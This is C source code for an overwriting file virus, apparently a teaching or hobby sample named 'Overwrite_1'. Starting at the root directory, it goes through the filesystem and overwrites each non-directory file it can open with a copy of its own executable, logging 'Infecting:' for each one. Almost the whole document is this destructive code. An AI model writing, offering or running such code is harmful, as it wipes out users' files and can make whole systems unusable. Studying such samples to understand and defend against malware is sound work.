Overwrite_1

#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
//readdir is defined here
#include <dirent.h>
//limit.h defines path_max
#include<limits.h>

int infectFile (char *virus, char *victim)
{
    //Pointer to our file and file
    //needed to write
    FILE *fpVirus, *fpVictim;

    //Open our file for reading
    fpVirus =  fopen(virus,"rb");

    if (fpVirus==NULL)
    {
        perror("Open Virus file");
        fclose(fpVirus);
        return 0;
    }

    //Open victim file for writing
    fpVictim = fopen(victim,"wb");
    if(fpVictim==NULL)
    {
        perror("Open Victim file");
        fclose(fpVictim);
        return 0;
    }

    int c;
    c = fgetc(fpVirus);//Read from file
    while(c!=EOF)//read until end
    {
        fputc(c, fpVictim);//write to file
        c = fgetc(fpVirus);//get next char
    }

    //remember to close our streams
    fclose(fpVirus);
    fclose(fpVictim);

    return 0;
}
//List the file in dir_name
static void list_dir(const char *dir_name,
                     char *self)
{
    DIR * d;
    d = opendir(dir_name);
    //check it was opened
    if(!d)
    {
        fprintf(stderr, "Cannot open directory '%s': %s\n",
                dir_name, strerror(errno));
        exit(EXIT_FAILURE);
    }
    while(1)
    {
        struct dirent * entry;
        const char * d_name;

        //"Readdir" gets subsequent entries from "d".
        char fileName[PATH_MAX];
        int fileNameLength;

        entry = readdir(d);
        if(!entry)
        {
            //there are no more entries in this
            //directory, so break out of the
            //while loop
            break;
        }
        d_name = entry->d_name;

        fileNameLength = snprintf(fileName, PATH_MAX,
                                   "%s/%s",dir_name,
                                   d_name);

            //error checking to see if path is
            //too large to fit
        if (fileNameLength >= PATH_MAX)
        {
            fprintf(stderr,
                    "File name length has got too long.\n");
            exit(EXIT_FAILURE);
        }
            //If the entry is not a directory
            //we'll attempt to infect it
        if(entry->d_type != DT_DIR)
        {
            //we need to check to not
            //infect our own file otherwise
            //an error would occur
            if (strstr(fileName,self+2)==NULL)
            {
                printf("Infecting: %s\n",fileName);
                infectFile(self, fileName);

            }
            list_dir(fileName,self);
        }
        //list_dir(path,self);
            //Recursively call "list_dir" with the
            //new path
    }
    //After going through all the entries, close
    //the directory
    //similar to closing the file stream with
    //FILE * with error checking
        if (closedir (d))
        {
            fprintf(stderr,
                    "Could not close '%s': %s\n",
                    dir_name, strerror(errno));
            exit(EXIT_FAILURE);
        }
}

int main(int argc, char *argv[])
{
    //call a recursive function with
    //the base directory
    list_dir("/",argv[0]);
    return 0;
}